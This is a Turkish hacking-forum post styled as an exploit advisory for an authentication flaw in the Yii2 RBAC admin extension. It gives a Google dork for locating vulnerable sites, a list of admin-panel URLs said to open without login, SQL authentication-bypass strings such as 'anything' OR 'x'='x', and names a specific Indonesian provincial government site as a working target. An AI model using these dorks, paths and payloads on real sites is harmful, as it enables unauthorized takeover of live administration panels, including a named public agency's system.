Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: Yii Framework RBAC Manager for Yii 2 Impr Auth Exploit
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimdışı
Seviye Puanı: 56
Yaşam Puanı: 1,386 / 1,386
Deneyim: 46 / 100
Rep Sayısı: 2874
Mesaj Sayısı: 6512
Üyelik Tarihi: 21.08.2013
     
Yorum: #1
Yii Framework RBAC Manager for Yii 2 Impr Auth Exploit
01.07.2018 16:24
################################################################################​#################

# Exploit Title : Powered by Yii Framework RBAC Manager for Yii 2 Improper Authentication Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 01/07/2018
# Vendor Homepage : yiiframework.com
# Tested On : Windows
# Software Download and Installation Links : packagist.org/packages/mdmsoft/yii2-admin ~
github.com/yii2mod/yii2-rbac ~ github.com/mdmsoft/yii2-admin
+ yiiframework.com/extension/rbac-manager ~ yiiframework.com/extension/yii2-admin ~
+ travis-ci.org/mdmsoft/yii2-admin ~ scrutinizer-ci.com/g/mdmsoft/yii2-admin/?branch=master
+ codeclimate.com/github/mdmsoft/yii2-admin
# Category : WebApps
# Versions : 2.x and 3.x
# Exploit Risk : Medium
# CWE : CWE-287 [ Improper Authentication ]

################################################################################​#################

# Another Title : Powered by Yii Framework PHP Web Application Development Improper Authentication Vulnerability

Yii Framework yii2-admin RBAC Manager for Yii 2

GUI manager for RABC (Role Base Access Control) Yii2. Easy to manage authorization of user

Features of the Product [ Software ]

Manage RBAC System in intuitive Tree-View
Ceep cool with rekursion protection in RBAC Tree
Generate PHP Code
Full relational move, create, edit, delete support of RBAC Tree items.
Assign and eject multiple Roles to and from multiple Users
Create predefined buisness Rules for User Assignments
Assign Roles in Secure Mode
By Controller protected and not changeable Roles and Assignments
Use easy checkAccess() methods in your Controller
Create easy bizRule Code in your RBAC Roles and Assignments

################################################################################​################

# Description for Improper Authentication Vulnerability [ CWE-287 ]

+ When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.

+ If software incorrectly validates user logon information or allows using different techniques of malicious credentials gathering
(e.g. brute force, spoofing or change the URL links without giving a username and pass), an attacker can gain certain privileges
within the application or disclose sensitive information.

+ If the parameter is equal to "user" the application allows viewing the information, if it is equal to "admin", then it is possible to edit information on the page:

+ If an attacker changes the value of the "group" parameter to "admin", he will be able to modify the page.

+ Powered by Yii Framework RBAC Manager for Yii 2 vulnerability results from software misconfiguration.

+ The attacker might be able to gain unauthorized access to the application and otherwise
restricted areas and perform certain actions, e.g. disclose sensitive information, alter application, or even execute arbitrary code.

+ An attacker can use a variety of vectors to exploit this weakness, including brute-force, session fixation, and Man-in-the-Middle (MitM) attacks.

Reference [ Short Explained by me ] => CWE-287: Improper Authentication [cwe.mitre.org]

################################################################################​#################

# Google Dork : inurl:''/emusrenbang/web/index.php?r=''

# Administration Login Panel => /emusrenbang/web/index.php?r=site%2Flogin

# Exploit : No Username. No Password. No Need for Login Credentials. Web don't need login.

Just enter this link after URL Link.

/emusrenbang/web/index.php?r=admin

Whatever you give an exploit like [ anything' OR 'x'='x ] or [ '=''or' ] and many others as SQL Authentication Bypass.

It always says that '' Incorrect username or password. '' But we will jump over the admindoor wall.

This is called as Improper Authentication Vulnerability.

127.0.0.1/emusrenbang/web/index.php?r=site%2Flogin => [ Proof of Concept ] => archive.is/BLaE5

127.0.0.1/emusrenbang/web/index.php?r=admin => [ Proof of Concept ] => archive.is/D9dKP

Useable Admin Control Panel URL Links =>

/emusrenbang/web/index.php?r=admin
/emusrenbang/web/index.php?r=admin%2Fassignment
/emusrenbang/web/index.php?r=admin%2Frole
/emusrenbang/web/index.php?r=admin%2Fpermission
/emusrenbang/web/index.php?r=admin%2Froute
/emusrenbang/web/index.php?r=admin%2Frule
/emusrenbang/web/index.php?r=admin%2Fmenu
/emusrenbang/web/index.php?r=admin%2Fdefault%2Findex

################################################################################​#################

Indonesia Government Site [ Bappeda Provinsi Sumatera Utara 2016 © ] is only vulnerable website.

# Example Site => eplanning.sumutprov.go.id/emusrenbang/web/index.php?r=admin%2Fmenu

# [ Proof of Concept ] => archive.is/lCRem

################################################################################​#################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

################################################################################​#################

# Cyberizm Digital Security Technological Turkish Moslem Army #
# İnsanda bir organ vardır. Eğer o sağlıklı ise bütün vücut sağlıklı olur;
eğer o bozulursa bütün vücut bozulur. Dikkat edin! O, kalptir.
[ Hz.Muhammed S.A.V ] #


Alinti



1 Ziyaretçi